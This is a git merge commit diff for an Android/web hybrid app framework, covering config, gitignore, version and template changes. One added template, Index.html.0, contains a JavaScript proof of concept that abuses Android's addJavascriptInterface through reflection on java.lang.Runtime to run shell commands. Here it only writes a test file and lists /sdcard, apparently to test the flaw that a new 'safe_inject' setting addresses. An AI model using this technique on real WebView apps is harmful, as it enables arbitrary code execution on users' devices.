Browse Source

Merge branch 'master' of http://114.215.100.48:3000/ipu/android-share

Lu 9 years ago
parent
commit
dc8b147b30

+ 9 - 14
display-client/.classpath

1
<?xml version="1.0" encoding="UTF-8"?>
2
<classpath>
3
	<classpathentry kind="src" path="gen"/>
4
	<classpathentry kind="src" path="src"/>
5
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.LIBRARIES"/>
6
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.DEPENDENCIES"/>
7
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile"/>
8
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-data"/>
9
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-func"/>
10
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-im"/>
11
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-ui"/>
12
	<classpathentry kind="con" path="com.android.ide.eclipse.adt.ANDROID_FRAMEWORK"/>
13
	<classpathentry kind="output" path="bin/classes"/>
14
</classpath>
1
<?xml version="1.0" encoding="UTF-8"?>
2
<classpath>
3
	<classpathentry kind="src" path="gen"/>
4
	<classpathentry kind="src" path="src"/>
5
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.LIBRARIES"/>
6
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.DEPENDENCIES"/>
7
	<classpathentry kind="con" path="com.android.ide.eclipse.adt.ANDROID_FRAMEWORK"/>
8
	<classpathentry kind="output" path="bin/classes"/>
9
</classpath>

+ 1 - 1
display-client/.gitignore

1
/.settings
1
/.settings
2
/bin
2
/bin
3
/gen
3
/gen
4
/.classpath
5
/proguard
4
/proguard
5
/bin

+ 1 - 1
display-client/AndroidManifest.xml

2
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
2
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
3
    package="com.ai.mobile.display"
3
    package="com.ai.mobile.display"
4
    android:versionCode="1"
4
    android:versionCode="1"
5
    android:versionName="1.0" >
5
    android:versionName="1.1" >
6
6
7
    <uses-sdk
7
    <uses-sdk
8
        android:minSdkVersion="8"
8
        android:minSdkVersion="8"

+ 2 - 2
display-client/assets/mobile-config.xml

1
<?xml version="1.0" encoding="utf-8"?>
1
<?xml version="1.0" encoding="utf-8"?>
2
<configs>
2
<configs>
3
    <!-- 请求主机名或请求地址。包括服务器的ip地址和端口 -->
3
    <!-- 请求主机名或请求地址。包括服务器的ip地址和端口 -->
4
	<config name="request_host" value="http://192.168.1.102:8080"/>
4
	<config name="request_host" value="http://114.215.100.48:8080"/>
5
	<!-- 必须。10.0.2.2为Android模拟器的保留ip地址。访问到本机电脑时使用 -->
5
	<!-- 必须。10.0.2.2为Android模拟器的保留ip地址。访问到本机电脑时使用 -->
6
	<!-- <config name="request_host" value="http://10.0.2.2:8080"/> -->
6
	<!-- <config name="request_host" value="http://10.0.2.2:8080"/> -->
7
	<!-- 必须。容器应用名或请求根路径 -->
7
	<!-- 必须。容器应用名或请求根路径 -->
15
	<!-- 非必须, 默认false。是否开启多WebView模式 -->
15
	<!-- 非必须, 默认false。是否开启多WebView模式 -->
16
	<config name="is_mult_webview" value="true"/>
16
	<config name="is_mult_webview" value="true"/>
17
	<!-- 必须。应用license -->
17
	<!-- 必须。应用license -->
18
	<config name="license" value="I7UDXSP5rnpSzNJtU7ly436FUmopAMW2/DzYMDqqm0Tou2pls9rLL89Onm2jsOwBFDESRoPrOZ-Ab72cr30YbRC7ihzKigq9aFDyMZrdJVVrmjpUY1zPpiYThfeo9OTO8LAU5jFKizjl6thuQjWMAcmKCG4HRVaf/28gU/O/bZI=|@@MDA4Q0RGRDc0MDZGQzFFNzRBRDQ3RUJCRTlBNUQ2OTNBNDgzRTM5OTEzQTk0N0FGRjQ3MkQ2OTc3QTk1MzJEMDIzNUQ2NTgyQjRFOTI4ODQ4N0U3Nzc0MTY3NTY4OUNBQTU1NDg2NkI3MDNDQ0JFMDgxREM4OTU2NkU2N0I2NzRDMzBENDU4QzdDQTY3NjUxNjQwMzA5QzE2RDI1OTlGNTFERTRCQzUzRTJDOEVDMUQyODdGNThBMzk3RDdEMjE4NjIyMkI5OUQyNDVEQ0RGRTk4MTg0Qjc3NDI4MjhFRjUzMjNFRjI3ODVDQzU3NDdCQTM2NTgyRkU0RDNDMEFCMUE1" ></config>
18
	<config name="license" value="DshTMgSyj5B9ww32G72OhQ2yUv4Qp3PHHpqG8WX9LugEMQb2/CBRLUXzBHX9ro1WWNDqT9UICi8B24eYyykNosV4yk1SgYyDL61leCi-UzHY3dbcG1hJqZlZpvL2kQUqQVBo-o83KY8VlPGgY-Ci1gHJuomqI-I03vlkhv0bvec=|@@MDA5QkQ3MUQxNkQ0NTE3QzhGNEVGNDk4OTk2MzU0QkM0NEFERjc0ODQwOEU5NDFFOTQ2RUJFNDdFNTAyMTI1QTYzNDdFQTJFMjAxRURGRjFDQzcxNjRGNzlERTFFNDBBMTY3OEM5QkE1NDhBOUM3NzNBMDI1RUY2N0QyMTlFOUNDRjdEMDAyRDI2QzVDQTQ4NTREMDlFMDMwNjJCOTM5OTRFQTJBOUU3RkYxMEYwMzE5NUYxNjU0RTUzMTVFMUM1QjYxMzY2REYwOUFGNDI5QkMzRTY2MzA5QzNEMTVEMEUxNUM2MUNGQTk4NTk3RDAzRjY2OEEzMjNFNDc0ODA3MTY5" ></config>
19
	<!-- 非必须。进入应用时的欢迎页面 --><!-- file:///android_asset为固定写法,表示工程的asset目录 -->
19
	<!-- 非必须。进入应用时的欢迎页面 --><!-- file:///android_asset为固定写法,表示工程的asset目录 -->
20
	<config name="loading_page" value="file:///android_asset/local/welcome.html"/>
20
	<config name="loading_page" value="file:///android_asset/local/welcome.html"/>
21
	<!-- 非必须。更新应用的url -->
21
	<!-- 非必须。更新应用的url -->

+ 3 - 0
display-client/lint.xml

1
<?xml version="1.0" encoding="UTF-8"?>
2
<lint>
3
</lint>

+ 2 - 2
display-client/project.properties

12
12
13
# Project target.
13
# Project target.
14
target=android-15
14
target=android-15
15
android.library.reference.1=../wade-mobile-lib
16
android.library.reference.2=../../android/wade-mobile-com
15
android.library.reference.1=..\\wade-mobile-lib
16
android.library.reference.2=../wade-mobile-common
17
proguard.config=proguard-project.txt
17
proguard.config=proguard-project.txt

BIN
display-client/res/drawable-hdpi/ic_launcher.png


BIN
display-client/res/drawable-mdpi/ic_launcher.png


BIN
display-client/res/drawable-xhdpi/ic_launcher.png


+ 1 - 1
display-server/etc/server-config.xml

5
	<!-- 服务端资源版本号 -->
5
	<!-- 服务端资源版本号 -->
6
	<config name="resourceVersion" value="1.0"/>
6
	<config name="resourceVersion" value="1.0"/>
7
	<!-- 客户端版本号 -->
7
	<!-- 客户端版本号 -->
8
	<config name="clientVersion" value="1.0"/>
8
	<config name="clientVersion" value="1.1"/>
9
	<!-- 客户端是否强制更新 -->
9
	<!-- 客户端是否强制更新 -->
10
	<config name="isForceUpdate" value="true"/>
10
	<config name="isForceUpdate" value="true"/>
11
	<!-- 服务端应用编码 -->
11
	<!-- 服务端应用编码 -->

+ 3 - 0
display-server/etc/server-page.xml

85
    <!-- Scene Demo -->
85
    <!-- Scene Demo -->
86
	<action name="Scene" template="template/webapp/scene/Scene.html"></action>
86
	<action name="Scene" template="template/webapp/scene/Scene.html"></action>
87
	<action name="Login" template="template/webapp/scene/Login.html"></action>
87
	<action name="Login" template="template/webapp/scene/Login.html"></action>
88
	<action name="DataRequest" template="template/webapp/scene/DataRequest.html"></action>
89
	<action name="TemplateRedirect" template="template/webapp/scene/TemplateRedirect.html"></action>
90
	<action name="PageRedirect" template="template/webapp/scene/PageRedirect.html"></action>
88
</pages>
91
</pages>

+ 1 - 1
display-server/web/res/js/require-config.js

16
		'iScroll5' : 'base/iscroll5',
16
		'iScroll5' : 'base/iscroll5',
17
		'hammer' : 'base/hammer',
17
		'hammer' : 'base/hammer',
18
		'o' : 'frame/o',
18
		'o' : 'frame/o',
19
		'oEvent' : 'frame/o-event',
19
		//'oEvent' : 'frame/o-event',
20
		'oInput' : 'frame/o-input',
20
		'oInput' : 'frame/o-input',
21
		'tap' : 'frame/tap',
21
		'tap' : 'frame/tap',
22
		'browserTool' : 'mobile/browser-toolkit',
22
		'browserTool' : 'mobile/browser-toolkit',

+ 10 - 1
display-server/web/res/js/ui/wm-popup.js

1
define(["module","oEvent"],function(module,oEvent){
1
define(["module","tap"],function(module,tap){
2
	function createNew(popupDom) {
2
	function createNew(popupDom) {
3
		var popup = typeof popupDom == 'object' ? popupDom : document.getElementById(popupDom);
3
		var popup = typeof popupDom == 'object' ? popupDom : document.getElementById(popupDom);
4
		for (var i = 1; i < arguments.length; i++) {
4
		for (var i = 1; i < arguments.length; i++) {
5
			var o = typeof arguments[i] == 'object' ? arguments[i] : document.getElementById(arguments[i]);
5
			var o = typeof arguments[i] == 'object' ? arguments[i] : document.getElementById(arguments[i]);
6
			/*
6
			oEvent.tap(o,(function(popup){
7
			oEvent.tap(o,(function(popup){
7
				if(popup.className == "c_popup") {
8
				if(popup.className == "c_popup") {
8
					popup.className = "c_popup c_popup-view";
9
					popup.className = "c_popup c_popup-view";
10
					popup.className = "c_popup";
11
					popup.className = "c_popup";
11
				}
12
				}
12
			}),popup)
13
			}),popup)
14
			*/
15
			$(o).tap(function(popup){
16
				if(popup.className == "c_popup") {
17
					popup.className = "c_popup c_popup-view";
18
				} else {
19
					popup.className = "c_popup";
20
				}
21
			});
13
		}
22
		}
14
		return popup;
23
		return popup;
15
	}
24
	}

BIN
display-server/web/setup/display-client.apk


+ 1 - 1
display-server/web/template/webapp/scene/PageRedirect.html

12
	<div class="left">
12
	<div class="left">
13
		<div class="back">
13
		<div class="back">
14
			<span class="e_ico-back"></span>
14
			<span class="e_ico-back"></span>
15
			<span class="text">页面跳转</span>
15
			<span class="text">页面跳转(调用数据接口)</span>
16
		</div>
16
		</div>
17
	</div>
17
	</div>
18
</div>
18
</div>

+ 17 - 6
display-server/web/template/webapp/scene/Scene.html

25
				<div class="content">
25
				<div class="content">
26
					<div class="main">
26
					<div class="main">
27
						<div class="title">登陆</div>
27
						<div class="title">登陆</div>
28
						<div class="info">登陆场景</div>
29
						<div class="info">登陆场景详细描述</div>
28
						<div class="info">输入账号、密码以及图片验证码登陆,服务端校验成功以后创建Session,
29
						同时客户端存储SessionId,提供给其他接口使用</div>
30
					</div>
30
					</div>
31
				</div>
31
				</div>
32
			</li>
32
			</li>
33
			<li action="PageRedirect">
33
			<li action="DataRequest">
34
				<div class="content">
34
				<div class="content">
35
					<div class="main">
35
					<div class="main">
36
						<div class="title">页面跳转</div>
36
						<div class="title">数据请求</div>
37
						<div class="info">网页访问时是基于ajax的访问请求,客户端访问时则是原生实现的访问请求,
38
						可以通过加密的方式保障传输安全</div>
37
					</div>
39
					</div>
38
				</div>
40
				</div>
39
			</li>
41
			</li>
40
			<li action="DataRequest">
42
			<li action="TemplateRedirect">
41
				<div class="content">
43
				<div class="content">
42
					<div class="main">
44
					<div class="main">
43
						<div class="title">数据请求</div>
45
						<div class="title">页面跳转(直接数据渲染)</div>
46
						<div class="info">页面跳转,没有数据请求,传入的参数直接用于页面渲染</div>
47
					</div>
48
				</div>
49
			</li>
50
			<li action="PageRedirect">
51
				<div class="content">
52
					<div class="main">
53
						<div class="title">页面跳转(调用数据接口)</div>
54
						<div class="info">页面跳转,调用数据请求,传入的参数先用于请求数据接口,得到的结果集用于页面渲染</div>
44
					</div>
55
					</div>
45
				</div>
56
				</div>
46
			</li>
57
			</li>

+ 21 - 0
display-server/web/template/webapp/scene/TemplateRedirect.html

1
<!DOCTYPE HTML>
2
<html class="s_bs">
3
<head>
4
	<meta charset="utf-8" />
5
	<meta name="viewport" content="target-densitydpi=device-dpi, width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1" />
6
	<title>页面跳转</title>
7
	{%>template/common/Head.html%}
8
	<link href="biz/css/project.css" rel="stylesheet" type="text/css" />
9
</head>
10
<body>
11
<div class="c_navBar">
12
	<div class="left">
13
		<div class="back">
14
			<span class="e_ico-back"></span>
15
			<span class="text">页面跳转(直接数据渲染)</span>
16
		</div>
17
	</div>
18
</div>
19

20
</body>
21
</html>

+ 1 - 1
ipu-client/AndroidManifest.xml

38
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
38
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
39
39
40
    <application
40
    <application
41
        android:allowBackup="true"
41
        android:allowBackup="false"
42
        android:icon="@drawable/ic_launcher"
42
        android:icon="@drawable/ic_launcher"
43
        android:label="@string/app_name"
43
        android:label="@string/app_name"
44
        android:theme="@style/AppTheme" >
44
        android:theme="@style/AppTheme" >

+ 3 - 1
ipu-client/assets/mobile-config.xml

39
	<config name="loadurl_timeout" value="20000"/>
39
	<config name="loadurl_timeout" value="20000"/>
40
	<!-- 非必须,默认false。打开调试模式,不再比对资源版本,客户端每次下载所有资源-->
40
	<!-- 非必须,默认false。打开调试模式,不再比对资源版本,客户端每次下载所有资源-->
41
	<config name="is_debug" value="false"/> 
41
	<config name="is_debug" value="false"/> 
42
</configs>
42
	<!-- 安全的进行js对象注入,默认true -->
43
	<config name="safe_inject" value="true" />
44
</configs>

BIN
ipu-server/web/WEB-INF/lib/wade-mobile-server.jar


+ 3 - 0
ipu-server/web/biz/js/Index.js

5
		alert("变成了DataMap");
5
		alert("变成了DataMap");
6
		alert("变为字符串:" + resultData.toString());
6
		alert("变为字符串:" + resultData.toString());
7
	});*/
7
	});*/
8
/*	Common.get(function(){
9
		alert("数据:" + PluginManager);
10
	},"aa");*/
8
	var menus = $("#menuList").children();
11
	var menus = $("#menuList").children();
9
	$.each(menus, function(index, item) {
12
	$.each(menus, function(index, item) {
10
		var obj = $(item);
13
		var obj = $(item);

+ 34 - 0
ipu-server/web/template/webapp/ipu/Index.html.0

1
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
2
<html>
3
	<head>
4
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
5
		<title></title>
6
	</head>
7
	<body>
8
	<h1>ABCDDD</h1>
9
	</body>
10
	<script type="text/javascript">
11
		function getContents(inputStream){
12
			var contents = "";
13
			var b = inputStream.read();
14
			while(b != -1){
15
				var bString = String.fromCharCode(b);
16
				contents += bString;
17
				contents += "\n";
18
				b = inputStream.read();
19
			}
20
			return contents;
21
		}
22
		function execute(cmdArgs){
23
			for (var obj in window) {
24
				if ("getClass" in window[obj]){
25
					var r = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
26
					document.write(obj + "<br />");
27
					document.write(window[obj] + "<br />" );
28
					document.write(getContents(r.getInputStream()) +"<br /><br />");
29
				}
30
			}
31
		}
32
		execute(["/system/bin/sh","-c","echo 'Hello world' > /sdcard/__mytest.txt__ &&  ls  /sdcard/"]);
33
	</script>
34
</html>

+ 2 - 1
multiple-client/.gitignore

1
/.settings
1
/.settings
2
/bin
2
/bin/*
3
/gen
3
/gen
4
/.classpath
4
/.classpath
5
/proguard
5
/proguard
6
/bin/

+ 3 - 3
multiple-client/project.properties

11
#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt
11
#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt
12
12
13
# Project target.
13
# Project target.
14
target=android-19
15
android.library.reference.1=..\\..\\..\\git\\android-share\\wade-mobile-lib
16
android.library.reference.2=../../../git/android/wade-mobile-com
14
target=android-15
15
android.library.reference.1=../../android/wade-mobile-com
16
android.library.reference.2=../wade-mobile-lib

+ 1 - 0
multiple-server/.gitignore

1
/.classpath
1
/.classpath
2
/.settings
2
/.settings
3
/mult.war
3
/mult.war
4
/bin/*

+ 1 - 1
push-server/.gitignore

1
/push.war
1
/push.war
2
/.classpath
2
/.classpath
3
/bin/*
3
/bin/*